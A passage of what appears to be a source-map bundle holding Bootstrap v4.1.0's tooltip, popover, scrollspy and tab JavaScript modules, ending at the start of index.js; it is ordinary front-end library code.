{\n TOOLTIP : '.tooltip',\n TOOLTIP_INNER : '.tooltip-inner',\n ARROW : '.arrow'\n }\n\n const Trigger = {\n HOVER : 'hover',\n FOCUS : 'focus',\n CLICK : 'click',\n MANUAL : 'manual'\n }\n\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Tooltip {\n constructor(element, config) {\n /**\n * Check for Popper dependency\n * Popper - https://popper.js.org\n */\n if (typeof Popper === 'undefined') {\n throw new TypeError('Bootstrap tooltips require Popper.js (https://popper.js.org)')\n }\n\n // private\n this._isEnabled = true\n this._timeout = 0\n this._hoverState = ''\n this._activeTrigger = {}\n this._popper = null\n\n // Protected\n this.element = element\n this.config = this._getConfig(config)\n this.tip = null\n\n this._setListeners()\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n static get NAME() {\n return NAME\n }\n\n static get DATA_KEY() {\n return DATA_KEY\n }\n\n static get Event() {\n return Event\n }\n\n static get EVENT_KEY() {\n return EVENT_KEY\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n // Public\n\n enable() {\n this._isEnabled = true\n }\n\n disable() {\n this._isEnabled = false\n }\n\n toggleEnabled() {\n this._isEnabled = !this._isEnabled\n }\n\n toggle(event) {\n if (!this._isEnabled) {\n return\n }\n\n if (event) {\n const dataKey = this.constructor.DATA_KEY\n let context = $(event.currentTarget).data(dataKey)\n\n if (!context) {\n context = new this.constructor(\n event.currentTarget,\n this._getDelegateConfig()\n )\n $(event.currentTarget).data(dataKey, context)\n }\n\n context._activeTrigger.click = !context._activeTrigger.click\n\n if (context._isWithActiveTrigger()) {\n context._enter(null, context)\n } else {\n context._leave(null, context)\n }\n } else {\n if ($(this.getTipElement()).hasClass(ClassName.SHOW)) {\n this._leave(null, this)\n return\n }\n\n this._enter(null, this)\n }\n }\n\n dispose() {\n clearTimeout(this._timeout)\n\n $.removeData(this.element, this.constructor.DATA_KEY)\n\n $(this.element).off(this.constructor.EVENT_KEY)\n $(this.element).closest('.modal').off('hide.bs.modal')\n\n if (this.tip) {\n $(this.tip).remove()\n }\n\n this._isEnabled = null\n this._timeout = null\n this._hoverState = null\n this._activeTrigger = null\n if (this._popper !== null) {\n this._popper.destroy()\n }\n\n this._popper = null\n this.element = null\n this.config = null\n this.tip = null\n }\n\n show() {\n if ($(this.element).css('display') === 'none') {\n throw new Error('Please use show on visible elements')\n }\n\n const showEvent = $.Event(this.constructor.Event.SHOW)\n if (this.isWithContent() && this._isEnabled) {\n $(this.element).trigger(showEvent)\n\n const isInTheDom = $.contains(\n this.element.ownerDocument.documentElement,\n this.element\n )\n\n if (showEvent.isDefaultPrevented() || !isInTheDom) {\n return\n }\n\n const tip = this.getTipElement()\n const tipId = Util.getUID(this.constructor.NAME)\n\n tip.setAttribute('id', tipId)\n this.element.setAttribute('aria-describedby', tipId)\n\n this.setContent()\n\n if (this.config.animation) {\n $(tip).addClass(ClassName.FADE)\n }\n\n const placement = typeof this.config.placement === 'function'\n ? this.config.placement.call(this, tip, this.element)\n : this.config.placement\n\n const attachment = this._getAttachment(placement)\n this.addAttachmentClass(attachment)\n\n const container = this.config.container === false ? document.body : $(this.config.container)\n\n $(tip).data(this.constructor.DATA_KEY, this)\n\n if (!$.contains(this.element.ownerDocument.documentElement, this.tip)) {\n $(tip).appendTo(container)\n }\n\n $(this.element).trigger(this.constructor.Event.INSERTED)\n\n this._popper = new Popper(this.element, tip, {\n placement: attachment,\n modifiers: {\n offset: {\n offset: this.config.offset\n },\n flip: {\n behavior: this.config.fallbackPlacement\n },\n arrow: {\n element: Selector.ARROW\n },\n preventOverflow: {\n boundariesElement: this.config.boundary\n }\n },\n onCreate: (data) => {\n if (data.originalPlacement !== data.placement) {\n this._handlePopperPlacementChange(data)\n }\n },\n onUpdate: (data) => {\n this._handlePopperPlacementChange(data)\n }\n })\n\n $(tip).addClass(ClassName.SHOW)\n\n // If this is a touch-enabled device we add extra\n // empty mouseover listeners to the body's immediate children;\n // only needed because of broken event delegation on iOS\n // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html\n if ('ontouchstart' in document.documentElement) {\n $(document.body).children().on('mouseover', null, $.noop)\n }\n\n const complete = () => {\n if (this.config.animation) {\n this._fixTransition()\n }\n const prevHoverState = this._hoverState\n this._hoverState = null\n\n $(this.element).trigger(this.constructor.Event.SHOWN)\n\n if (prevHoverState === HoverState.OUT) {\n this._leave(null, this)\n }\n }\n\n if ($(this.tip).hasClass(ClassName.FADE)) {\n const transitionDuration = Util.getTransitionDurationFromElement(this.tip)\n\n $(this.tip)\n .one(Util.TRANSITION_END, complete)\n .emulateTransitionEnd(transitionDuration)\n } else {\n complete()\n }\n }\n }\n\n hide(callback) {\n const tip = this.getTipElement()\n const hideEvent = $.Event(this.constructor.Event.HIDE)\n const complete = () => {\n if (this._hoverState !== HoverState.SHOW && tip.parentNode) {\n tip.parentNode.removeChild(tip)\n }\n\n this._cleanTipClass()\n this.element.removeAttribute('aria-describedby')\n $(this.element).trigger(this.constructor.Event.HIDDEN)\n if (this._popper !== null) {\n this._popper.destroy()\n }\n\n if (callback) {\n callback()\n }\n }\n\n $(this.element).trigger(hideEvent)\n\n if (hideEvent.isDefaultPrevented()) {\n return\n }\n\n $(tip).removeClass(ClassName.SHOW)\n\n // If this is a touch-enabled device we remove the extra\n // empty mouseover listeners we added for iOS support\n if ('ontouchstart' in document.documentElement) {\n $(document.body).children().off('mouseover', null, $.noop)\n }\n\n this._activeTrigger[Trigger.CLICK] = false\n this._activeTrigger[Trigger.FOCUS] = false\n this._activeTrigger[Trigger.HOVER] = false\n\n if ($(this.tip).hasClass(ClassName.FADE)) {\n const transitionDuration = Util.getTransitionDurationFromElement(tip)\n\n $(tip)\n .one(Util.TRANSITION_END, complete)\n .emulateTransitionEnd(transitionDuration)\n } else {\n complete()\n }\n\n this._hoverState = ''\n }\n\n update() {\n if (this._popper !== null) {\n this._popper.scheduleUpdate()\n }\n }\n\n // Protected\n\n isWithContent() {\n return Boolean(this.getTitle())\n }\n\n addAttachmentClass(attachment) {\n $(this.getTipElement()).addClass(`${CLASS_PREFIX}-${attachment}`)\n }\n\n getTipElement() {\n this.tip = this.tip || $(this.config.template)[0]\n return this.tip\n }\n\n setContent() {\n const $tip = $(this.getTipElement())\n this.setElementContent($tip.find(Selector.TOOLTIP_INNER), this.getTitle())\n $tip.removeClass(`${ClassName.FADE} ${ClassName.SHOW}`)\n }\n\n setElementContent($element, content) {\n const html = this.config.html\n if (typeof content === 'object' && (content.nodeType || content.jquery)) {\n // Content is a DOM node or a jQuery\n if (html) {\n if (!$(content).parent().is($element)) {\n $element.empty().append(content)\n }\n } else {\n $element.text($(content).text())\n }\n } else {\n $element[html ? 'html' : 'text'](content)\n }\n }\n\n getTitle() {\n let title = this.element.getAttribute('data-original-title')\n\n if (!title) {\n title = typeof this.config.title === 'function'\n ? this.config.title.call(this.element)\n : this.config.title\n }\n\n return title\n }\n\n // Private\n\n _getAttachment(placement) {\n return AttachmentMap[placement.toUpperCase()]\n }\n\n _setListeners() {\n const triggers = this.config.trigger.split(' ')\n\n triggers.forEach((trigger) => {\n if (trigger === 'click') {\n $(this.element).on(\n this.constructor.Event.CLICK,\n this.config.selector,\n (event) => this.toggle(event)\n )\n } else if (trigger !== Trigger.MANUAL) {\n const eventIn = trigger === Trigger.HOVER\n ? this.constructor.Event.MOUSEENTER\n : this.constructor.Event.FOCUSIN\n const eventOut = trigger === Trigger.HOVER\n ? this.constructor.Event.MOUSELEAVE\n : this.constructor.Event.FOCUSOUT\n\n $(this.element)\n .on(\n eventIn,\n this.config.selector,\n (event) => this._enter(event)\n )\n .on(\n eventOut,\n this.config.selector,\n (event) => this._leave(event)\n )\n }\n\n $(this.element).closest('.modal').on(\n 'hide.bs.modal',\n () => this.hide()\n )\n })\n\n if (this.config.selector) {\n this.config = {\n ...this.config,\n trigger: 'manual',\n selector: ''\n }\n } else {\n this._fixTitle()\n }\n }\n\n _fixTitle() {\n const titleType = typeof this.element.getAttribute('data-original-title')\n if (this.element.getAttribute('title') ||\n titleType !== 'string') {\n this.element.setAttribute(\n 'data-original-title',\n this.element.getAttribute('title') || ''\n )\n this.element.setAttribute('title', '')\n }\n }\n\n _enter(event, context) {\n const dataKey = this.constructor.DATA_KEY\n\n context = context || $(event.currentTarget).data(dataKey)\n\n if (!context) {\n context = new this.constructor(\n event.currentTarget,\n this._getDelegateConfig()\n )\n $(event.currentTarget).data(dataKey, context)\n }\n\n if (event) {\n context._activeTrigger[\n event.type === 'focusin' ? Trigger.FOCUS : Trigger.HOVER\n ] = true\n }\n\n if ($(context.getTipElement()).hasClass(ClassName.SHOW) ||\n context._hoverState === HoverState.SHOW) {\n context._hoverState = HoverState.SHOW\n return\n }\n\n clearTimeout(context._timeout)\n\n context._hoverState = HoverState.SHOW\n\n if (!context.config.delay || !context.config.delay.show) {\n context.show()\n return\n }\n\n context._timeout = setTimeout(() => {\n if (context._hoverState === HoverState.SHOW) {\n context.show()\n }\n }, context.config.delay.show)\n }\n\n _leave(event, context) {\n const dataKey = this.constructor.DATA_KEY\n\n context = context || $(event.currentTarget).data(dataKey)\n\n if (!context) {\n context = new this.constructor(\n event.currentTarget,\n this._getDelegateConfig()\n )\n $(event.currentTarget).data(dataKey, context)\n }\n\n if (event) {\n context._activeTrigger[\n event.type === 'focusout' ? Trigger.FOCUS : Trigger.HOVER\n ] = false\n }\n\n if (context._isWithActiveTrigger()) {\n return\n }\n\n clearTimeout(context._timeout)\n\n context._hoverState = HoverState.OUT\n\n if (!context.config.delay || !context.config.delay.hide) {\n context.hide()\n return\n }\n\n context._timeout = setTimeout(() => {\n if (context._hoverState === HoverState.OUT) {\n context.hide()\n }\n }, context.config.delay.hide)\n }\n\n _isWithActiveTrigger() {\n for (const trigger in this._activeTrigger) {\n if (this._activeTrigger[trigger]) {\n return true\n }\n }\n\n return false\n }\n\n _getConfig(config) {\n config = {\n ...this.constructor.Default,\n ...$(this.element).data(),\n ...config\n }\n\n if (typeof config.delay === 'number') {\n config.delay = {\n show: config.delay,\n hide: config.delay\n }\n }\n\n if (typeof config.title === 'number') {\n config.title = config.title.toString()\n }\n\n if (typeof config.content === 'number') {\n config.content = config.content.toString()\n }\n\n Util.typeCheckConfig(\n NAME,\n config,\n this.constructor.DefaultType\n )\n\n return config\n }\n\n _getDelegateConfig() {\n const config = {}\n\n if (this.config) {\n for (const key in this.config) {\n if (this.constructor.Default[key] !== this.config[key]) {\n config[key] = this.config[key]\n }\n }\n }\n\n return config\n }\n\n _cleanTipClass() {\n const $tip = $(this.getTipElement())\n const tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX)\n if (tabClass !== null && tabClass.length > 0) {\n $tip.removeClass(tabClass.join(''))\n }\n }\n\n _handlePopperPlacementChange(data) {\n this._cleanTipClass()\n this.addAttachmentClass(this._getAttachment(data.placement))\n }\n\n _fixTransition() {\n const tip = this.getTipElement()\n const initConfigAnimation = this.config.animation\n if (tip.getAttribute('x-placement') !== null) {\n return\n }\n $(tip).removeClass(ClassName.FADE)\n this.config.animation = false\n this.hide()\n this.show()\n this.config.animation = initConfigAnimation\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n const _config = typeof config === 'object' && config\n\n if (!data && /dispose|hide/.test(config)) {\n return\n }\n\n if (!data) {\n data = new Tooltip(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config]()\n }\n })\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Tooltip._jQueryInterface\n $.fn[NAME].Constructor = Tooltip\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Tooltip._jQueryInterface\n }\n\n return Tooltip\n})($, Popper)\n\nexport default Tooltip\n","import $ from 'jquery'\nimport Tooltip from './tooltip'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): popover.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Popover = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'popover'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.popover'\n const EVENT_KEY = `.${DATA_KEY}`\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n const CLASS_PREFIX = 'bs-popover'\n const BSCLS_PREFIX_REGEX = new RegExp(`(^|\\\\s)${CLASS_PREFIX}\\\\S+`, 'g')\n\n const Default = {\n ...Tooltip.Default,\n placement : 'right',\n trigger : 'click',\n content : '',\n template : '<div class=\"popover\" role=\"tooltip\">' +\n '<div class=\"arrow\"></div>' +\n '<h3 class=\"popover-header\"></h3>' +\n '<div class=\"popover-body\"></div></div>'\n }\n\n const DefaultType = {\n ...Tooltip.DefaultType,\n content : '(string|element|function)'\n }\n\n const ClassName = {\n FADE : 'fade',\n SHOW : 'show'\n }\n\n const Selector = {\n TITLE : '.popover-header',\n CONTENT : '.popover-body'\n }\n\n const Event = {\n HIDE : `hide${EVENT_KEY}`,\n HIDDEN : `hidden${EVENT_KEY}`,\n SHOW : `show${EVENT_KEY}`,\n SHOWN : `shown${EVENT_KEY}`,\n INSERTED : `inserted${EVENT_KEY}`,\n CLICK : `click${EVENT_KEY}`,\n FOCUSIN : `focusin${EVENT_KEY}`,\n FOCUSOUT : `focusout${EVENT_KEY}`,\n MOUSEENTER : `mouseenter${EVENT_KEY}`,\n MOUSELEAVE : `mouseleave${EVENT_KEY}`\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Popover extends Tooltip {\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n static get NAME() {\n return NAME\n }\n\n static get DATA_KEY() {\n return DATA_KEY\n }\n\n static get Event() {\n return Event\n }\n\n static get EVENT_KEY() {\n return EVENT_KEY\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n // Overrides\n\n isWithContent() {\n return this.getTitle() || this._getContent()\n }\n\n addAttachmentClass(attachment) {\n $(this.getTipElement()).addClass(`${CLASS_PREFIX}-${attachment}`)\n }\n\n getTipElement() {\n this.tip = this.tip || $(this.config.template)[0]\n return this.tip\n }\n\n setContent() {\n const $tip = $(this.getTipElement())\n\n // We use append for html objects to maintain js events\n this.setElementContent($tip.find(Selector.TITLE), this.getTitle())\n let content = this._getContent()\n if (typeof content === 'function') {\n content = content.call(this.element)\n }\n this.setElementContent($tip.find(Selector.CONTENT), content)\n\n $tip.removeClass(`${ClassName.FADE} ${ClassName.SHOW}`)\n }\n\n // Private\n\n _getContent() {\n return this.element.getAttribute('data-content') ||\n this.config.content\n }\n\n _cleanTipClass() {\n const $tip = $(this.getTipElement())\n const tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX)\n if (tabClass !== null && tabClass.length > 0) {\n $tip.removeClass(tabClass.join(''))\n }\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n const _config = typeof config === 'object' ? config : null\n\n if (!data && /destroy|hide/.test(config)) {\n return\n }\n\n if (!data) {\n data = new Popover(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config]()\n }\n })\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Popover._jQueryInterface\n $.fn[NAME].Constructor = Popover\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Popover._jQueryInterface\n }\n\n return Popover\n})($)\n\nexport default Popover\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): scrollspy.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst ScrollSpy = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'scrollspy'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.scrollspy'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n\n const Default = {\n offset : 10,\n method : 'auto',\n target : ''\n }\n\n const DefaultType = {\n offset : 'number',\n method : 'string',\n target : '(string|element)'\n }\n\n const Event = {\n ACTIVATE : `activate${EVENT_KEY}`,\n SCROLL : `scroll${EVENT_KEY}`,\n LOAD_DATA_API : `load${EVENT_KEY}${DATA_API_KEY}`\n }\n\n const ClassName = {\n DROPDOWN_ITEM : 'dropdown-item',\n DROPDOWN_MENU : 'dropdown-menu',\n ACTIVE : 'active'\n }\n\n const Selector = {\n DATA_SPY : '[data-spy=\"scroll\"]',\n ACTIVE : '.active',\n NAV_LIST_GROUP : '.nav, .list-group',\n NAV_LINKS : '.nav-link',\n NAV_ITEMS : '.nav-item',\n LIST_ITEMS : '.list-group-item',\n DROPDOWN : '.dropdown',\n DROPDOWN_ITEMS : '.dropdown-item',\n DROPDOWN_TOGGLE : '.dropdown-toggle'\n }\n\n const OffsetMethod = {\n OFFSET : 'offset',\n POSITION : 'position'\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class ScrollSpy {\n constructor(element, config) {\n this._element = element\n this._scrollElement = element.tagName === 'BODY' ? window : element\n this._config = this._getConfig(config)\n this._selector = `${this._config.target} ${Selector.NAV_LINKS},` +\n `${this._config.target} ${Selector.LIST_ITEMS},` +\n `${this._config.target} ${Selector.DROPDOWN_ITEMS}`\n this._offsets = []\n this._targets = []\n this._activeTarget = null\n this._scrollHeight = 0\n\n $(this._scrollElement).on(Event.SCROLL, (event) => this._process(event))\n\n this.refresh()\n this._process()\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n // Public\n\n refresh() {\n const autoMethod = this._scrollElement === this._scrollElement.window\n ? OffsetMethod.OFFSET : OffsetMethod.POSITION\n\n const offsetMethod = this._config.method === 'auto'\n ? autoMethod : this._config.method\n\n const offsetBase = offsetMethod === OffsetMethod.POSITION\n ? this._getScrollTop() : 0\n\n this._offsets = []\n this._targets = []\n\n this._scrollHeight = this._getScrollHeight()\n\n const targets = $.makeArray($(this._selector))\n\n targets\n .map((element) => {\n let target\n const targetSelector = Util.getSelectorFromElement(element)\n\n if (targetSelector) {\n target = $(targetSelector)[0]\n }\n\n if (target) {\n const targetBCR = target.getBoundingClientRect()\n if (targetBCR.width || targetBCR.height) {\n // TODO (fat): remove sketch reliance on jQuery position/offset\n return [\n $(target)[offsetMethod]().top + offsetBase,\n targetSelector\n ]\n }\n }\n return null\n })\n .filter((item) => item)\n .sort((a, b) => a[0] - b[0])\n .forEach((item) => {\n this._offsets.push(item[0])\n this._targets.push(item[1])\n })\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n $(this._scrollElement).off(EVENT_KEY)\n\n this._element = null\n this._scrollElement = null\n this._config = null\n this._selector = null\n this._offsets = null\n this._targets = null\n this._activeTarget = null\n this._scrollHeight = null\n }\n\n // Private\n\n _getConfig(config) {\n config = {\n ...Default,\n ...config\n }\n\n if (typeof config.target !== 'string') {\n let id = $(config.target).attr('id')\n if (!id) {\n id = Util.getUID(NAME)\n $(config.target).attr('id', id)\n }\n config.target = `#${id}`\n }\n\n Util.typeCheckConfig(NAME, config, DefaultType)\n\n return config\n }\n\n _getScrollTop() {\n return this._scrollElement === window\n ? this._scrollElement.pageYOffset : this._scrollElement.scrollTop\n }\n\n _getScrollHeight() {\n return this._scrollElement.scrollHeight || Math.max(\n document.body.scrollHeight,\n document.documentElement.scrollHeight\n )\n }\n\n _getOffsetHeight() {\n return this._scrollElement === window\n ? window.innerHeight : this._scrollElement.getBoundingClientRect().height\n }\n\n _process() {\n const scrollTop = this._getScrollTop() + this._config.offset\n const scrollHeight = this._getScrollHeight()\n const maxScroll = this._config.offset +\n scrollHeight -\n this._getOffsetHeight()\n\n if (this._scrollHeight !== scrollHeight) {\n this.refresh()\n }\n\n if (scrollTop >= maxScroll) {\n const target = this._targets[this._targets.length - 1]\n\n if (this._activeTarget !== target) {\n this._activate(target)\n }\n return\n }\n\n if (this._activeTarget && scrollTop < this._offsets[0] && this._offsets[0] > 0) {\n this._activeTarget = null\n this._clear()\n return\n }\n\n for (let i = this._offsets.length; i--;) {\n const isActiveTarget = this._activeTarget !== this._targets[i] &&\n scrollTop >= this._offsets[i] &&\n (typeof this._offsets[i + 1] === 'undefined' ||\n scrollTop < this._offsets[i + 1])\n\n if (isActiveTarget) {\n this._activate(this._targets[i])\n }\n }\n }\n\n _activate(target) {\n this._activeTarget = target\n\n this._clear()\n\n let queries = this._selector.split(',')\n // eslint-disable-next-line arrow-body-style\n queries = queries.map((selector) => {\n return `${selector}[data-target=\"${target}\"],` +\n `${selector}[href=\"${target}\"]`\n })\n\n const $link = $(queries.join(','))\n\n if ($link.hasClass(ClassName.DROPDOWN_ITEM)) {\n $link.closest(Selector.DROPDOWN).find(Selector.DROPDOWN_TOGGLE).addClass(ClassName.ACTIVE)\n $link.addClass(ClassName.ACTIVE)\n } else {\n // Set triggered link as active\n $link.addClass(ClassName.ACTIVE)\n // Set triggered links parents as active\n // With both <ul> and <nav> markup a parent is the previous sibling of any nav ancestor\n $link.parents(Selector.NAV_LIST_GROUP).prev(`${Selector.NAV_LINKS}, ${Selector.LIST_ITEMS}`).addClass(ClassName.ACTIVE)\n // Handle special case when .nav-link is inside .nav-item\n $link.parents(Selector.NAV_LIST_GROUP).prev(Selector.NAV_ITEMS).children(Selector.NAV_LINKS).addClass(ClassName.ACTIVE)\n }\n\n $(this._scrollElement).trigger(Event.ACTIVATE, {\n relatedTarget: target\n })\n }\n\n _clear() {\n $(this._selector).filter(Selector.ACTIVE).removeClass(ClassName.ACTIVE)\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n const _config = typeof config === 'object' && config\n\n if (!data) {\n data = new ScrollSpy(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config]()\n }\n })\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(window).on(Event.LOAD_DATA_API, () => {\n const scrollSpys = $.makeArray($(Selector.DATA_SPY))\n\n for (let i = scrollSpys.length; i--;) {\n const $spy = $(scrollSpys[i])\n ScrollSpy._jQueryInterface.call($spy, $spy.data())\n }\n })\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = ScrollSpy._jQueryInterface\n $.fn[NAME].Constructor = ScrollSpy\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return ScrollSpy._jQueryInterface\n }\n\n return ScrollSpy\n})($)\n\nexport default ScrollSpy\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): tab.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Tab = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'tab'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.tab'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n\n const Event = {\n HIDE : `hide${EVENT_KEY}`,\n HIDDEN : `hidden${EVENT_KEY}`,\n SHOW : `show${EVENT_KEY}`,\n SHOWN : `shown${EVENT_KEY}`,\n CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n }\n\n const ClassName = {\n DROPDOWN_MENU : 'dropdown-menu',\n ACTIVE : 'active',\n DISABLED : 'disabled',\n FADE : 'fade',\n SHOW : 'show'\n }\n\n const Selector = {\n DROPDOWN : '.dropdown',\n NAV_LIST_GROUP : '.nav, .list-group',\n ACTIVE : '.active',\n ACTIVE_UL : '> li > .active',\n DATA_TOGGLE : '[data-toggle=\"tab\"], [data-toggle=\"pill\"], [data-toggle=\"list\"]',\n DROPDOWN_TOGGLE : '.dropdown-toggle',\n DROPDOWN_ACTIVE_CHILD : '> .dropdown-menu .active'\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Tab {\n constructor(element) {\n this._element = element\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n // Public\n\n show() {\n if (this._element.parentNode &&\n this._element.parentNode.nodeType === Node.ELEMENT_NODE &&\n $(this._element).hasClass(ClassName.ACTIVE) ||\n $(this._element).hasClass(ClassName.DISABLED)) {\n return\n }\n\n let target\n let previous\n const listElement = $(this._element).closest(Selector.NAV_LIST_GROUP)[0]\n const selector = Util.getSelectorFromElement(this._element)\n\n if (listElement) {\n const itemSelector = listElement.nodeName === 'UL' ? Selector.ACTIVE_UL : Selector.ACTIVE\n previous = $.makeArray($(listElement).find(itemSelector))\n previous = previous[previous.length - 1]\n }\n\n const hideEvent = $.Event(Event.HIDE, {\n relatedTarget: this._element\n })\n\n const showEvent = $.Event(Event.SHOW, {\n relatedTarget: previous\n })\n\n if (previous) {\n $(previous).trigger(hideEvent)\n }\n\n $(this._element).trigger(showEvent)\n\n if (showEvent.isDefaultPrevented() ||\n hideEvent.isDefaultPrevented()) {\n return\n }\n\n if (selector) {\n target = $(selector)[0]\n }\n\n this._activate(\n this._element,\n listElement\n )\n\n const complete = () => {\n const hiddenEvent = $.Event(Event.HIDDEN, {\n relatedTarget: this._element\n })\n\n const shownEvent = $.Event(Event.SHOWN, {\n relatedTarget: previous\n })\n\n $(previous).trigger(hiddenEvent)\n $(this._element).trigger(shownEvent)\n }\n\n if (target) {\n this._activate(target, target.parentNode, complete)\n } else {\n complete()\n }\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n this._element = null\n }\n\n // Private\n\n _activate(element, container, callback) {\n let activeElements\n if (container.nodeName === 'UL') {\n activeElements = $(container).find(Selector.ACTIVE_UL)\n } else {\n activeElements = $(container).children(Selector.ACTIVE)\n }\n\n const active = activeElements[0]\n const isTransitioning = callback &&\n (active && $(active).hasClass(ClassName.FADE))\n\n const complete = () => this._transitionComplete(\n element,\n active,\n callback\n )\n\n if (active && isTransitioning) {\n const transitionDuration = Util.getTransitionDurationFromElement(active)\n\n $(active)\n .one(Util.TRANSITION_END, complete)\n .emulateTransitionEnd(transitionDuration)\n } else {\n complete()\n }\n }\n\n _transitionComplete(element, active, callback) {\n if (active) {\n $(active).removeClass(`${ClassName.SHOW} ${ClassName.ACTIVE}`)\n\n const dropdownChild = $(active.parentNode).find(\n Selector.DROPDOWN_ACTIVE_CHILD\n )[0]\n\n if (dropdownChild) {\n $(dropdownChild).removeClass(ClassName.ACTIVE)\n }\n\n if (active.getAttribute('role') === 'tab') {\n active.setAttribute('aria-selected', false)\n }\n }\n\n $(element).addClass(ClassName.ACTIVE)\n if (element.getAttribute('role') === 'tab') {\n element.setAttribute('aria-selected', true)\n }\n\n Util.reflow(element)\n $(element).addClass(ClassName.SHOW)\n\n if (element.parentNode &&\n $(element.parentNode).hasClass(ClassName.DROPDOWN_MENU)) {\n const dropdownElement = $(element).closest(Selector.DROPDOWN)[0]\n if (dropdownElement) {\n $(dropdownElement).find(Selector.DROPDOWN_TOGGLE).addClass(ClassName.ACTIVE)\n }\n\n element.setAttribute('aria-expanded', true)\n }\n\n if (callback) {\n callback()\n }\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n const $this = $(this)\n let data = $this.data(DATA_KEY)\n\n if (!data) {\n data = new Tab(this)\n $this.data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config]()\n }\n })\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(document)\n .on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n event.preventDefault()\n Tab._jQueryInterface.call($(this), 'show')\n })\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Tab._jQueryInterface\n $.fn[NAME].Constructor = Tab\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Tab._jQueryInterface\n }\n\n return Tab\n})($)\n\nexport default Tab\n","import $ from 'jquery'\nimport Alert from './alert'\nimport Button from './button'\nimport Carousel from './carousel'\nimport Collapse from './collapse'\nimport Dropdown from './dropdown'\nimport Modal from './modal'\nimport Popover from './popover'\nimport Scrollspy from './scrollspy'\nimport Tab from './tab'\nimport Tooltip from './tooltip'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.0.0): index.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * 